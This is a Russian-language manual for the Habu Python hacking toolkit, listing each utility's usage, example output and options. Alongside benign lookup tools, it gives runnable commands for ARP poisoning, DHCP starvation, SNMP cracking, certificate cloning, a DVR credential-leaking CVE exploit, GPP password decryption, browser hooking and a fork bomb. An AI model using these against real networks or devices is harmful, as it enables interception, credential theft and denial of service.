Habu
Описание Habu
Habu — это набор инструментов на Python предназначенных для сбора информации, исследования и хакинга сети.
Некоторые из возможностей:
- ARP Poisoning
- ARP Sniffing
- Обнаружение DHCP
- DHCP Starvation (атака, при которой злоумышленник занимает все IP адреса)
- Фальшивый сервер FTP
- Атака LAND
- Взлом SNMP
- Идентификация субдоменов
- Клонер сертификатов SSL/TLS
- SYN флудинг
- Анализ флагов TCP
- Анализ TCP ISN
- Сканирование портов TCP
- Проверка имени пользователя по социальным сетям
- Идентификация виртуальных хостов
- Идентификация веб-технологий
Домашняя страница: https://github.com/portantier/habu
Автор: Fabian Martinez Portantier
Лицензия: BSD-3-Clause
Справка по Habu
Пакет Habu включает в себя большое количество утилит каждая из которых выполняет одну функцию.
habu.arp.ping
Использование:
habu.arp.ping [ОПЦИИ] IP
Отправляет ARP пакеты для проверки, присутствует ли хост в локальной сети.
Пример:
sudo habu.arp.ping 192.168.0.1 Ether / ARP is at a4:08:f5:19:17:a4 says 192.168.0.1 / Padding
Опции:
-i TEXT Интерфейс для использования -v Подробный вывод --help Показать справку и выйти.
habu.arp.poison
Использование:
habu.arp.poison [ОПЦИИ] ЖЕРТВА1 ЖЕРТВА2
Выполняет ARP спуфинг, то есть отправляет ARP пакеты 'is-at' каждой жертве, вызывая отравление (poisoning) их ARP таблиц, чтобы они начали отправлять трафик через вашу систему.
Помните, что если вы хотите полноценную атаку человек-посередине, то вам нужно включить перенаправление (forwarding) пакетов на вашей операционной системе, в результате она будет работать как роутер. На Linux вы можете это сделать используя:
sudo echo 1 > /proc/sys/net/ipv4/ip_forward
Пример:
sudo habu.arpoison 192.168.0.1 192.168.0.77 Ether / ARP is at f4:96:34:e5:ae:1b says 192.168.0.77 Ether / ARP is at f4:96:34:e5:ae:1b says 192.168.0.70 Ether / ARP is at f4:96:34:e5:ae:1b says 192.168.0.77 ...
Опции:
-i TEXT Интерфейс для использования -v Подробный вывод --help Показать справку и выйти.
habu.arp.sniff
Использование:
habu.arp.sniff [ОПЦИИ]
Прослушивает ARP пакеты и показывает информацию о каждом устройстве в локальной сети.
Колонки: Секунды с последнего пакета | IP | MAC | Производитель
Пример вывода собранных данных:
1 192.168.0.1 a4:08:f5:19:17:a4 Sagemcom Broadband SAS 7 192.168.0.2 64:bc:0c:33:e5:57 LG Electronics (Mobile Communications) 2 192.168.0.5 00:c2:c6:30:2c:58 Intel Corporate 6 192.168.0.7 54:f2:01:db:35:58 Samsung Electronics Co.,Ltd
Опции:
-i TEXT Интерфейс для использования --help Показать справку и выйти.
habu.asydns
Использование:
habu.asydns [ОПЦИИ]
Запрашивает DNS доменного имени на основе публичных и приватных RSA ключей используя протокол AsyDNS: https://github.com/portantier/asydns
Пример:
habu.asydns -v Generating RSA key ... Loading RSA key ... { "ip": "181.31.41.231", "name": "07286e90fd6e7e6be61d6a7919967c7cf3bbfb23a36edbc72b6d7c53.a.asydns.org" }
Проверка:
dig +short 07286e90fd6e7e6be61d6a7919967c7cf3bbfb23a36edbc72b6d7c53.a.asydns.org 181.31.41.231
Опции:
-u TEXT API URL -g Принудительная генерация новой пары ключей -r Отозвать публичный ключ -v Вербальный вывод --help Показать справку и выйти.
habu.b64
Использование:
habu.b64 [ОПЦИИ] [F]
Кодирует или декодирует данные в base64, работает в точности как команда base64.
Примеры:
echo awesome | habu.b64 YXdlc29tZQo= echo YXdlc29tZQo= | habu.b64 -d awesome
Опции:
-d декодировать вместо кодирования --help Показать справку и выйти.
habu.cert.clone
Использование:
habu.cert.clone [ОПЦИИ] ИМЯ_ХОСТА ПОРТ KEYFILE CERTFILE
Подключается к SSL/TLS серверу, получает сертификат и генерирует сертификат с такими же опциями и значениями полей.
Примечание: сгенерированный сертификат не является действительным, но может использоваться для атак социальной инженерии.
Пример:
habu.certclone www.google.com 443 /tmp/key.pem /tmp/cert.pem
Опции:
--copy-extensions Копировать расширения сертификата (по умолчанию: False) --expired Сгенерировать просроченный сертификат (по умолчанию: False) -v Подробный вывод --help Показать справку и выйти.
habu.cert.names
Использование:
habu.cert.names [ОПЦИИ] [СЕТЬ]
Подключается к каждому хосту/порту и показывает краткую информацию об именах сертификатов.
Хосты для подключения берутся из двух возможных опций:
1) опция -i (по умолчанию стандартный ввод stdin). Файл, в котором каждая строка это хост или сеть
2) Аргумент, который может быть хостом или сетью
Если вы используете оба метода, то хосты и сети сливаются в один список.
Пример:
habu.cert.names 2.18.60.240/29 2.18.60.241 443 i.s-microsoft.com microsoft.com privacy.microsoft.com 2.18.60.242 443 aod-ssl.itunes.apple.com aod.itunes.apple.com aodp-ssl.itunes.apple.com 2.18.60.243 443 *.mlb.com mlb.com 2.18.60.244 443 [SSL: TLSV1_ALERT_INTERNAL_ERROR] tlsv1 alert internal error (_ssl.c:1056) 2.18.60.245 443 cert2-cn-public-ubiservices.ubi.com cert2-cn-public-ws-ubiservices.ubi.com 2.18.60.246 443 *.blog.sina.com.cn *.dmp.sina.cn aod.itunes.apple.com aodp-ssl.itunes.apple.com aod-ssl.itunes.apple.com *.blog.sina.com.cn cert2-cn-public-ubiservices.ubi.com cert2-cn-public-ws- ubiservices.ubi.com *.dmp.sina.cn i.s-microsoft.com microsoft.com *.mlb.com mlb.com privacy.microsoft.com
Опции:
-p TEXT Порты для подключения (список, разделённый запятой) -i ИМЯ_ФАЙЛА Файл ввода (По умолчанию: stdin) -t ЧИСЛО Время ожидания для каждого подключения -v Подробный вывод --help Показать справку и выйти.
habu.config.del
Использование:
habu.config.del [ОПЦИИ] КЛЮЧ
Удаляет КЛЮЧ из конфигурации.
Помните: по умолчанию КЛЮЧ конвертируется в буквы верхнего регистра.
Пример:
habu.config.del DNS_SERVER
Опции:
--help Показать справку и выйти.
habu.config.set
Использование:
habu.config.set [ОПЦИИ] КЛЮЧ ЗНАЧЕНИЕ
Установить ЗНАЧЕНИЕ в настройки КЛЮЧА.
Помните: по умолчанию КЛЮЧ конвертируется в буквы верхнего регистра.
Пример:
habu.config.set DNS_SERVER 8.8.8.8
Опции:
--help Показать справку и выйти.
habu.config.show
Использование:
habu.config.show [ОПЦИИ]
Показать текущую конфигурацию.
Помните: по умолчанию параметры с именем «KEY» спрятаны за звёздочками.
Пример:
habu.config.show { "DNS_SERVER": "8.8.8.8", "FERNET_KEY": "*************" }
Опции:
-k, --show-keys Показать также значения ключей --option TEXT... Записать конфигурационный файл (КЛЮЧ ЗНАЧЕНИЕ) --help Показать справку и выйти.
habu.contest
Использование:
habu.contest [ОПЦИИ]
Пытается подключиться к различным службам и проверяет, может ли их достичь используя ваше Интернет-подключение.
Пример:
habu.contest IP: True DNS: True FTP: True SSH: True HTTP: True HTTPS: True
Опции:
--help Показать справку и выйти.
habu.crack.luhn
Использование:
habu.crack.luhn [ОПЦИИ] НОМЕР
Алгоритм Лу́на (англ. Luhn algorithm) — алгоритм вычисления контрольной цифры номера пластиковой карты в соответствии со стандартом ISO/IEC 7812. Не является криптографическим средством, а предназначен в первую очередь для выявления ошибок, вызванных непреднамеренным искажением данных (например, при ручном вводе номера карты, при приёме данных о номере социального страхования по телефону). Позволяет лишь с некоторой степенью достоверности судить об отсутствии ошибок в блоке цифр, но не даёт возможности нахождения и исправления обнаруженной неточности.
Наиболее распространённые применения для подсчёта контрольной цифры:
- Номера всех банковских карт
- Номера некоторых дисконтных карт
- Коды социального страхования
- IMEI-коды.
- Расчёт контрольного знака единого 8-значного номера железнодорожного вагона на РЖД.
- Расчёт ICCID (англ. integrated circuit card identifier) — уникальный серийный номер SIM-карты.
Данная программа проверяет на правильность числа, в которых используется контрольное число алгоритма Луна, а также по известным цифрам показывает возможные варианты.
Числами, которые используют алгоритм Luhn для проверки, являются Кредитные карты, IMEI, Национальным Идентификатором Поставщика в Соединенных Штатах, Канадские Номера социального страхования, Идентификационные номера Израиля и Греческие номерами социального страхования (ΑΜΚΑ).
Символ тире '-' игнорируется.
Пропущенные числа обозначьте с помощью символа 'x'.
Подробности об алгоритме Луна: https://ru.wikipedia.org/wiki/Алгоритм_Луна
Пример:
habu.crack.luhn 4509-xxxx-3160-6445
Опции:
--help Показать справку и выйти.
habu.crack.snmp
Использование:
habu.crack.snmp [ОПЦИИ] IP
Запускает snmp-get запросы к IP и сообщает, когда находит допустимую строку community (это простой взломщик SNMP).
Используется словарь, который поставляется с инструментом onesixtyone.
Пример:
habu.crack.snmp 179.125.234.210 Community found: private Community found: public
Примечание: вы также можете получать сообщения вроде \<UNIVERSAL\> \<class 'scapy.asn1.asn1.ASN1\_Class\_metaclass'\>, в настоящее время автор не знает как их подавить.
Опции:
-p ЧИСЛО Порт для использования -c TEXT Community (по умолчанию: список самых используемых) -s Остановится после первого совпадения -v Подробный вывод --help Показать справку и выйти.
habu.crtsh
Использование:
habu.crtsh [ОПЦИИ] ДОМЕН
Загружает логи certificate transparency для домена и проверяет с помощью DNS запросов существование каждого домена.
Использует многопоточность для улучшения производительности DNS запросов.
Пример:
habu.crtsh securetia.com [ "karma.securetia.com.", "www.securetia.com." ]
Опции:
-c Отключить кэш -n Отключить DNS проверку субдоменов -v Подробный вывод --help Показать справку и выйти.
habu.cve.2018.9995
Использование:
habu.cve.2018.9995 [ОПЦИИ] IP
Эксплуатирует уязвимость CVE-2018-9995, присутствующую на различных системах DVR.
Примечание: основывается на оригинальном коде от Ezequiel Fernandez (@capitan_alfa).
Ссылка: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9995
Пример:
python habu.cve.2018-9995 82.202.102.42 [ { "uid": "admin", "pwd": "securepassword", "role": 2, "enmac": 0, "mac": "00:00:00:00:00:00", "playback": 4294967295, "view": 4294967295, "rview": 4294967295, "ptz": 4294967295, "backup": 4294967295, "opt": 4294967295 } ]
Опции:
-p ЧИСЛО Порт для использования (по умолчанию: 80) -v Подробный вывод --help Показать справку и выйти.
habu.cymon.ip
Использование:
habu.cymon.ip [ОПЦИИ] IP
Простой клиент для API cymon.
Печатает JSON результат для запроса к cymon об IP.
Пример:
habu.cymon.ip 8.8.8.8 { "addr": "8.8.8.8", "created": "2015-03-23T12:03:42Z", "updated": "2018-08-24T04:06:07Z", "sources": [ "safeweb.norton.com", "botscout.com", "virustotal.com", "phishtank" ], "events": "https://www.cymon.io/api/nexus/v1/ip/8.8.8.8/events", "domains": "https://www.cymon.io/api/nexus/v1/ip/8.8.8.8/domains", "urls": "https://www.cymon.io/api/nexus/v1/ip/8.8.8.8/urls" }
Опции:
-c Отключить кэш -v Подробный вывод -o ИМЯ_ФАЙЛА Файл вывода (по умолчанию: stdout) --help Показать справку и выйти.
habu.cymon.ip.timeline
Использование:
habu.cymon.ip.timeline [ОПЦИИ] IP
Простой клиент cymon API.
Печатает результат в JSON запроса timeline к cymon об IP.
Пример:
habu.cymon.ip.timeline 8.8.8.8 { "timeline": [ { "time_label": "Aug. 18, 2018", "events": [ { "description": "Posted: 2018-08-18 23:37:39 CEST IDS Alerts: 0 URLQuery Alerts: 1 ...", "created": "2018-08-18T21:39:07Z", "title": "Malicious activity reported by urlquery.net", "details_url": "http://urlquery.net/report/b1393866-9b1f-4a8e-b02b-9636989050f3", "tag": "malicious activity" } ] }, ...
Опции:
-c Отключить кэш -v Подробный вывод -o ИМЯ_ФАЙЛА Файл вывода (по умолчанию: stdout) -p Симпатичный вывод --help Показать справку и выйти.
habu.data.extract.domain
Использование:
habu.data.extract.domain [ОПЦИИ] [INFILE]
Извлекает валидные домены из файла или stdin (стандартного ввода).
Опционально, проверяет каждый домен на наличие NS записей для доменов.
Пример:
cat /var/log/some.log | habu.data.extract.domain -c google.com ibm.com redhat.com
Опции:
-c Проверяет, установлены ли у домена NS сервера -v Подробный вывод -j JSON вывод --help Показать справку и выйти.
habu.data.extract.email
Использование:
habu.data.extract.email [ОПЦИИ] [INFILE]
Извлекает email адреса из файла или stdin (стандартного ввода).
Пример:
cat /var/log/auth.log | habu.data.extract.email john@securetia.com raven@acmecorp.net nmarks@fimax.com
Опции:
-v Подробный вывод -j вывод в формате JSON --help Показать справку и выйти.
habu.data.extract.fqdn
Использование:
habu.data.extract.fqdn [ОПЦИИ] [INFILE]
Извлекает FQDN (Полностью квалифицированные доменные имена) из файла или стандартного ввода (stdin).
Пример:
cat /var/log/some.log | habu.data.extract.fqdn www.google.com ibm.com fileserver.redhat.com
Опции:
-c Проверить, существуют ли для имён хостов IP адреса -v Подробный вывод -j вывод в формате JSON --help Показать справку и выйти.
habu.data.extract.ipv4
Использование:
habu.data.extract.ipv4 [ОПЦИИ] [INFILE]
Извлекает IPv4 адреса из файла или стандартного ввода (stdin).
Пример:
cat /var/log/auth.log | habu.data.extract.ipv4 172.217.162.4 23.52.213.96 190.210.43.70
Опции:
-j, --json вывод в формате JSON -u, --unique Удаить повторения -v Повторный вывод --help Показать справку и выйти.
habu.data.filter
Использование:
habu.data.filter [ОПЦИИ] ПОЛЕ [gt|lt|eq|ne|ge|le|in|contains|defined |undefined|true|false] [ЗНАЧЕНИЕ]
Фильтрует данные на основе операторов.
Пример:
cat /var/log/auth.log | habu.data.extract.ipv4 | habu.data.enrich | habu.data.filter cc eq US [ { "item": "8.8.8.8", "family": "ipv4_address", "asn": "15169", "net": "8.8.8.0/24", "cc": "US", "rir": "ARIN", "asname": "GOOGLE - Google LLC, US" } ]
Опции:
-i ИМЯ_ФАЙЛА Файл ввода (по умолчанию: stdin) -v Подробный вывод --not Негативное сравнение (совпавшими считаются те, которые не содержат искомой строки) --help Показать справку и выйти.
habu.decrypt.gppref
Использование:
habu.decrypt.gppref [ОПЦИИ] ПАРОЛЬ
Расшифровывает пароль локальных пользователей добавленных через настройки групповой политики Windows 2008.
Это значение является атрибутом cpassword, встроенным в файл Groups.xml, который хранится в общей папке Sysvol контроллера домена.
Пример:
habu.decrypt.gppref AzVJmXh/J9KrU5n0czX1uBPLSUjzFE8j7dOltPD8tLk testpassword
Опции:
--help Показать справку и выйти.
habu.dhcp.discover
Использование:
habu.dhcp.discover [ОПЦИИ]
Отправляет DHCP запрос и показывает, какие устройства ответили.
Помните: используя '-v' вы можете видеть все опции (такие как DNS сервера), включённые в ответы.
sudo habu.dhcp.discover Ether / IP / UDP 192.168.0.1:bootps > 192.168.0.5:bootpc / BOOTP / DHCP
Опции:
-i TEXT Интерфейс для использования -t INTEGER Время (в секундах) для ожидания ответов -v Подробный вывод --help Показать справку и выйти.
habu.dhcp.starvation
Использование:
habu.dhcp.starvation [ОПЦИИ]
Отправляет множество DHCP запросов с поддельных MAC адресов для заполнения всех свободных для аренды IP адресов у DHCP сервера.
Когда все доступные сетевые адреса назначены, сервер DHCP перестаёт отправлять ответы.
В результате могут быть сделаны некоторые атаки, такие как подмена DHCP.
sudo habu.dhcp.starvation Ether / IP / UDP 192.168.0.1:bootps > 192.168.0.6:bootpc / BOOTP / DHCP Ether / IP / UDP 192.168.0.1:bootps > 192.168.0.7:bootpc / BOOTP / DHCP Ether / IP / UDP 192.168.0.1:bootps > 192.168.0.8:bootpc / BOOTP / DHCP
Опции:
-i TEXT Интерфейс для использования -t ЧИСЛО Время (в секундах) для ожидания ответов -s ЧИСЛО Время (в секундах) между запросами -v Подробный вывод --help Показать справку и выйти.
habu.dns.lookup.forward
Использование:
habu.dns.lookup.forward [ОПЦИИ] ИМЯ_ХОСТА
Выполняет прямой запрос (по имени получает IP адрес) для заданного имени хоста.
Пример:
habu.dns.lookup.forward google.com { "ipv4": "172.217.168.46", "ipv6": "2a00:1450:400a:802::200e" }
Опции:
-v Verbose output --help Показать справку и выйти.
habu.dns.lookup.reverse
Использование:
habu.dns.lookup.reverse [ОПЦИИ] IP_АДРЕС
Выполняет обратное преобразование заданного IP адреса, то есть по IP адресу узнаёт имя хоста.
Пример:
habu.dns.lookup.reverse 8.8.8.8 { "hostname": "google-public-dns-a.google.com" }
Опции:
-v Подробный вывод --help Показать справку и выйти.
habu.eicar
Использование:
habu.eicar [ОПЦИИ]
Печатает текстовую строку EICAR, которая может использоваться для тестирования антивирусного программного обеспечения.
EICAR (или EICAR-Test-File — от European Institute for Computer Antivirus Research) — стандартный файл, применяемый для проверки, работает ли антивирус. По сути вирусом не является; будучи запущенным как COM-файл DOS, всего лишь выводит текстовое сообщение и возвращает управление DOS. Программа работает в средах, поддерживающих выполнение 16-битного ПО для DOS, таких как MS-DOS, OS/2, Windows 9x и 32-битные Windows NT. Под 64-битными версиями Windows файл не запускается.
Пример:
habu.eicar X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
Опции:
--help Показать справку и выйти.
habu.expand
Использование:
habu.expand [ОПЦИИ]
Получает некоторые данные об IP адресах.
Пример:
cat /var/log/auth.log | habu.extract.ipv4 | habu.expand [ { "asset": "8.8.8.8", "family": "IPAddress", "asn": "15169", "net": "8.8.8.0/24", "cc": "US", "rir": "ARIN", "asname": "GOOGLE - Google LLC, US" }, { "asset": "8.8.4.4", "family": "IPAddress", "asn": "15169", "net": "8.8.4.0/24", "cc": "US", "rir": "ARIN", "asname": "GOOGLE - Google LLC, US" } ]
Опции:
-i ИМЯ_ФАЙЛА Файл ввода (По умолчанию: stdin) -v Подробный вывод --help Показать справку и выйти.
habu.fernet
Использование:
habu.fernet [ОПЦИИ]
Шифрует строку с помощью шифра Fernet.
Использует AES-128-CBC с HMAC
Примечание: вы должны использовать ключ для шифрования с Fernet.
Используйте параметр -k или установите в конфигурации значение FERNET_KEY.
Ключ может быть сгенерирован командой habu.fernet.genkey.
Дополнительная информация: https://github.com/fernet/spec/blob/master/Spec.md
Пример:
"I want to protect this string" | habu.fernet gAAAAABbXnCGoCULLuVNRElYTbEcwnek9iq5jBKq9JAN3wiiBUzPqpUgV5oWvnC6xfIA... echo gAAAAABbXnCGoCULLuVNRElYTbEcwnek9iq5jBKq9JAN3wiiBUzPqpUgV5oWvnC6xfIA... | habu.fernet -d I want to protect this string
Опции:
-k TEXT Ключ -d Расшифровать вместо шифрования --ttl ЧИСЛО Время жизни для верификации метки времени -i ИМЯ_ФАЙЛА Файл ввода (по умолчанию: stdin) -o ИМЯ_ФАЙЛА Файл вывода (по умолчанию: stdout) --help Показать справку и выйти.
habu.fernet.genkey
Использование:
habu.fernet.genkey [ОПЦИИ]
Генерирует новый ключ Fernet, опционально записывается ~/.habu.json
Пример:
habu.fernet.genkey xgvWCIvjwe9Uq7NBvwO796iI4dsGD623QOT9GWqnuhg=
Опции:
-w Write this key to ~/.habu.json --help Показать справку и выйти.
habu.forkbomb
Использование:
habu.forkbomb [ОПЦИИ] [bash|batch|c|haskell|perl|php|python|ruby]
Эта программа выводит исходный код для так называемых fork бомб на различных языках программирования.
Fork бобма — это небольшой код, который многократно дублирует себя, запуская свой процесс снова и снова, пока в системе не кончатся ресурса и пока она не зависит.
В настоящее время поддерживаются: bash, batch, c, haskell, perl, php, python, ruby.
Пример:
habu.forkbomb c #include <unistd.h> int main() { while(1) { fork(); } return 0; }
Опции:
--help Показать справку и выйти.
habu.fqdn.finder
Использование:
habu.fqdn.finder [ОПЦИИ] [ДОМЕНЫ]...
Использует различные техники для получения действительных FQDN («полностью определённое имя домена») указанных доменов:
1. Проверяет журналы Certificate Transparency
2. Подключается к указанным портам, получает SSL сертификаты и получает из них FQDN
Новая версия также будет делать:
3. Брут-форсить DNS Brute на распространённые имена
4. В начале пробовать DNS Zone Transfer
Результаты проверяются и очищаются от FQDN, которые не преобразовываются с помощью DNS (то есть которые не имеют IP адреса).
Пример:
habu.fqdn.finder educacionit.com barometrosalarial.educacionit.com blog.educacionit.com ci.educacionit.com educacionit.com intranet.educacionit.com lecdev.educacionit.com lecweb.educacionit.com mail.educacionit.com plantillas.educacionit.com www.educacionit.com
Опции:
-t ЧИСЛО Время для ожидания каждого подключения -v Подробный вывод --debug Вывод отладочных сообщений --connect / --no-connect Получить FQDN из SSL сертификатов --brute / --no-brute Запустить DNS брут-форс доменов --links / --no-links Извлечь FQDN из ссылок веб-сайта --xfr / --no-xfr Пробовать выполнить DNS zone transfer в отношении доменов --ctlog / --no-ctlog Пробовать получить FQDN из журналов Certificate Transparency --json Напечатать вывод в формате JSON --help Показать справку и выйти.
habu.gateway.find
Использование:
habu.gateway.find [ОПЦИИ] СЕТЬ
Пытается достичь внешний IP, используя каждый хост как роутер. Полезна при поиске роутеров в сети.
Вначале программа использует arping для выявления живых хостов и получения MAC адресов.
Позже создаёт сетевые пакеты и указывает каждый MAC адрес в качестве хоста назначения.
Наконец печатает устройства, которые корректно перенаправили пакеты.
Примеры:
habu.gateway.find 192.168.0.0/24 192.168.0.1 a4:08:f5:19:17:a4 Sagemcom 192.168.0.7 b0:98:2b:5d:22:70 Sagemcom 192.168.0.8 b0:98:2b:5d:1f:e8 Sagemcom
Опции:
-i TEXT Интерфейс для использования --host TEXT Целевой хост (по умолчанию: 8.8.8.8) --tcp Использовать TCP вместо ICMP --dport ДИАПАЗОН ЧИСЕЛ Порт назначения для TCP (по умолчанию: 80) --timeout ЧИСЛО Время ожидания в секундах (по умолчанию: 5) -v Подробный вывод --help Показать справку и выйти.
habu.h1.scope
Использование:
habu.h1.scope [ОПЦИИ] [INFILE]
Парсит HackerOne scope specification в формат BurpSuite JSON.
Пример:
habu.h1.scope starbucks.json app.starbucks.com card.starbucks.com.sg cart.starbucks.co.jp ec.starbucks.com.cn gift.starbucks.co.jp login.starbucks.co.jp preview.starbucks.com www.istarbucks.co.kr www.starbucks.ca www.starbucks.co.jp www.starbucks.co.uk www.starbucks.com www.starbucks.com.br www.starbucks.com.cn www.starbucks.com.sg www.starbucks.de www.starbucks.fr www.starbucksreserve.com www.teavana.com
Опции:
-j Вывод в формате JSON --help Показать справку и выйти.
habu.hasher
Использование:
habu.hasher [ОПЦИИ] [F]
Рассчитывает различные хеши для вводимых данных, которые могут быть файлом, строкой или потоком.
Пример:
habu.hasher README.rst md5 992a833cd162047daaa6a236b8ac15ae README.rst ripemd160 0566f9141e65e57cae93e0e3b70d1d8c2ccb0623 README.rst sha1 d7dbfd2c5e2828eb22f776550c826e4166526253 README.rst sha256 6bb22d927e1b6307ced616821a1877b6cc35e... README.rst sha512 8743f3eb12a11cf3edcc16e400fb14d599b4a... README.rst whirlpool 96bcc083242e796992c0f3462f330811f9e8c... README.rst
Вы можете также указать, какой алгоритм использовать. В этом случае вывод будет выведено только значение рассчитанного хеша:
habu.hasher -a md5 README.rst 992a833cd162047daaa6a236b8ac15ae README.rst
Опции:
-a [md5|sha1|sha256|sha512|ripemd160|whirlpool] Только этот алгоритм (По умолчанию: все) --help Показать справку и выйти.
habu.host
Использование:
habu.host [ОПЦИИ]
Собирает информацию о хосте, где запущен habu.
Пример:
habu.host { "kernel": [ "Linux", "demo123", "5.0.6-200.fc29.x86_64", "#1 SMP Wed Apr 3 15:09:51 UTC 2019", "x86_64", "x86_64" ], "distribution": [ "Fedora", "29", "Twenty Nine" ], "libc": [ "glibc", "2.2.5" ], "arch": "x86_64", "python_version": "3.7.3", "os_name": "Linux", "cpu": "x86_64", "static_hostname": "demo123", "fqdn": "demo123.lab.sierra" }
Опции:
-v Подробный вывод. --help Показать справку и выйти.
habu.http.headers
Использование:
habu.http.headers [ОПЦИИ] СЕРВЕР
Получает HTTP заголовки веб-сервера.
Пример:
habu.http.headers http://duckduckgo.com { "Server": "nginx", "Date": "Sun, 14 Apr 2019 00:00:55 GMT", "Content-Type": "text/html", "Content-Length": "178", "Connection": "keep-alive", "Location": "https://duckduckgo.com/", "X-Frame-Options": "SAMEORIGIN", "Content-Security-Policy": "default-src https: blob: data: 'unsafe-inline' 'unsafe-eval'", "X-XSS-Protection": "1;mode=block", "X-Content-Type-Options": "nosniff", "Referrer-Policy": "origin", "Expect-CT": "max-age=0", "Expires": "Mon, 13 Apr 2020 00:00:55 GMT", "Cache-Control": "max-age=31536000" }
Опции:
-v Подробный вывод --help Показать справку и выйти.
habu.http.options
Использование:
habu.http.options [ОПЦИИ] СЕРВЕР
Получает доступные HTTP методы веб-сервера.
Пример:
habu.http.options -v http://google.com { "allowed": "GET, HEAD" }
Опции:
-v Подробный вывод --help Показать справку и выйти.
habu.http.tech
Использование:
habu.http.tech [ОПЦИИ] URL
Использует базу данных Wappalyzer apps.json для идентификации технологий, используемых в веб-приложении.
Ссылка: https://github.com/AliasIO/Wappalyzer
Примечание: этот инструмент отправлят один запрос. Поэтому он малозаметен и не вызывает подозрения.
Пример:
habu.http.tech https://woocomerce.com Google Tag Manager unknown MySQL unknown Nginx unknown PHP unknown Prototype unknown RequireJS unknown WooCommerce 3.8.0 WordPress 5.2.4 Yoast SEO 10.0.1
Опции:
--cache / --no-cache --format [txt|csv|json] Формат вывода -v Подробный вывод --help Показать справку и выйти.
habu.interfaces
Использование:
habu.interfaces [ОПЦИИ]
Показывает сетевые интерфейсы, которые доступны в системе.
Пример:
sudo habu.interfaces # NAME MAC INET INET6 0 eth0 80:fa:5b:4b:f9:18 None None 1 lo 00:00:00:00:00:00 127.0.0.1 ::1 2 wlan0 f4:96:34:e5:ae:1b 192.168.0.6 None 3 vboxnet0 0a:00:27:00:00:00 192.168.56.1 fe80::800:27ff:fe00:0
Опции:
-j Вывод в формате JSON --help Показать справку и выйти.
habu.ip
Использование:
habu.ip [ОПЦИИ]
Получает публичный IP адрес подключения используя сервис https://api.ipify.org.
Пример:
habu.ip 80.219.53.185
Опции:
-4, --ipv4 Вывести ваш публичный IPv4 адрес (по умолчанию) -6, --ipv6 Вывести ваш публичный IPv6 адрес -j, --json Напечатать вывод в формате JSON --help Показать справку и выйти.
habu.ip2asn
Использование:
habu.ip2asn [ОПЦИИ] IP
Использует сервис Team Cymru ip2asn для получения информации о публичном IPv4/IPv6.
Информация: https://www.team-cymru.com/IP-ASN-mapping.html
Пример:
habu.ip2asn 8.8.8.8 { "asn": "15169", "net": "8.8.8.0/24", "cc": "US", "rir": "ARIN", "asname": "GOOGLE - Google LLC, US", "country": "United States" }
Опции:
--help Показать справку и выйти.
habu.ip.geolocation
Использование:
habu.ip.geolocation [ОПЦИИ] IP_АДРЕС
Получает данные о расположении IP адреса от https://ipapi.co/.
Пример:
habu.ip.geolocation 8.8.8.8 { "ip": "8.8.8.8", "city": "Mountain View", ... "asn": "AS15169", "org": "Google LLC" }
Опции:
-v Подробный вывод. --help Показать справку и выйти.
habu.ip.internal
Использование:
habu.ip.internal [ОПЦИИ]
Получает локальные(ые) IP адреса сетевых интерфейсов в системе.
Пример:
habu.ip.internal { "lo": { "ipv4": [ { "addr": "127.0.0.1", "netmask": "255.0.0.0", "peer": "127.0.0.1" } ], "link_layer": [ { "addr": "00:00:00:00:00:00", "peer": "00:00:00:00:00:00" } ], "ipv6": [ { "addr": "::1", "netmask": "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff/128" } ] }, ...
Опции:
-v Подробный вывод. --help Показать справку и выйти.
habu.isn
Использование:
habu.isn [ОПЦИИ] IP
Создаёт TCP подключения и печатает номера начальных последовательностей TCP для каждого из них.
sudo habu.isn -c 5 www.portantier.com 1962287220 1800895007 589617930 3393793979 469428558
Обратите внимание: вы можете получить графическое представление (чтобы это работало нужен пакет matplotlib) для лучшего понимания случайности, для этого укажите опцию '-g'.
Опции:
-p ЧИСЛО Порт для использования (по умолчанию: 80) -c ЧИСЛО Как много пакетов отправить/получить (по умолчанию: 5) -i TEXT Интерфейс для использования -g Построить граф (требуется matplotlib) -v Подробный вывод --help Показать справку и выйти.
habu.jshell
Использование:
habu.jshell [ОПЦИИ]
Контролирует веб-браузер через Websockets.
Привязывается к порту (по умолчанию 3333) и прослушивает HTTP подключения.
При подключении отправляет JavaScript код, который открывает WebSocket, который может использоваться для отправки команд к подключённому браузеру.
Вы можете писать команды напрямую в шел или использовать плагины, которые являются просто внешними файлами JavaScript.
Используя habu.jshell вы можете полностью контролировать веб-браузер.
Ссылка: https://developer.mozilla.org/en-US/docs/Web/API/WebSockets_API
Пример:
habu.jshell >> Listening on 192.168.0.10:3333. Waiting for a victim connection. >> HTTP Request received from 192.168.0.15. Sending hookjs >> Connection from 192.168.0.15 $ _sessions 0 * 192.168.0.15:33432 Mozilla/5.0 (X11; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0 $ _info { "user-agent": "Mozilla/5.0 (X11; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0", "location": "http://192.168.0.10:3333/", "java-enabled": false, "platform": "Linux x86_64", "app-code-name": "Mozilla", "app-name": "Netscape", "app-version": "5.0 (X11)", "cookie-enabled": true, "language": "es-AR", "online": true } $ document.location http://192.168.0.10:3333/
Опции:
-v Подробный вывод -i TEXT IP для прослушивания -p ЧИСЛО Порт для прослушивания --help Показать справку и выйти.
habu.karma
Использование:
habu.karma [ОПЦИИ] ХОСТ
Используется сервис Karma: https://karma.securetia.com для проверки IP по различным спискам репутации и анализа угроз.
Пример:
habu.karma www.google.com www.google.com -> 64.233.190.99 [ "hphosts_fsa", "hphosts_psh", "hphosts_emd" ]
Примечание: вы можете использовать имя хоста или IP в качестве хоста для запроса.
Опции:
--help Показать справку и выйти.
habu.karma.bulk
Использование:
habu.karma.bulk [ОПЦИИ] [INFILE]
Показывает, какие IP адреса в чёрном списке используя онлайн сервис Karma.
Пример:
cat /var/log/auth.log | habu.extract.ipv4 | habu.karma.bulk 172.217.162.4 spamhaus_drop,alienvault_spamming 23.52.213.96 CLEAN 190.210.43.70 alienvault_malicious
Опции:
--json вывод в формате JSON --bad Показать только пункты из чёрного списка -v Подробный вывод --help Показать справку и выйти.
habu.land
Использование:
habu.land [ОПЦИИ] IP
Эта команда реализует атаку LAND, которая отправляет пакеты, в которых в качестве исходного адреса указан ненастоящий адрес, а такой же IP адрес как и конечный IP. Также использует одинаковые порты отправки и назначения.
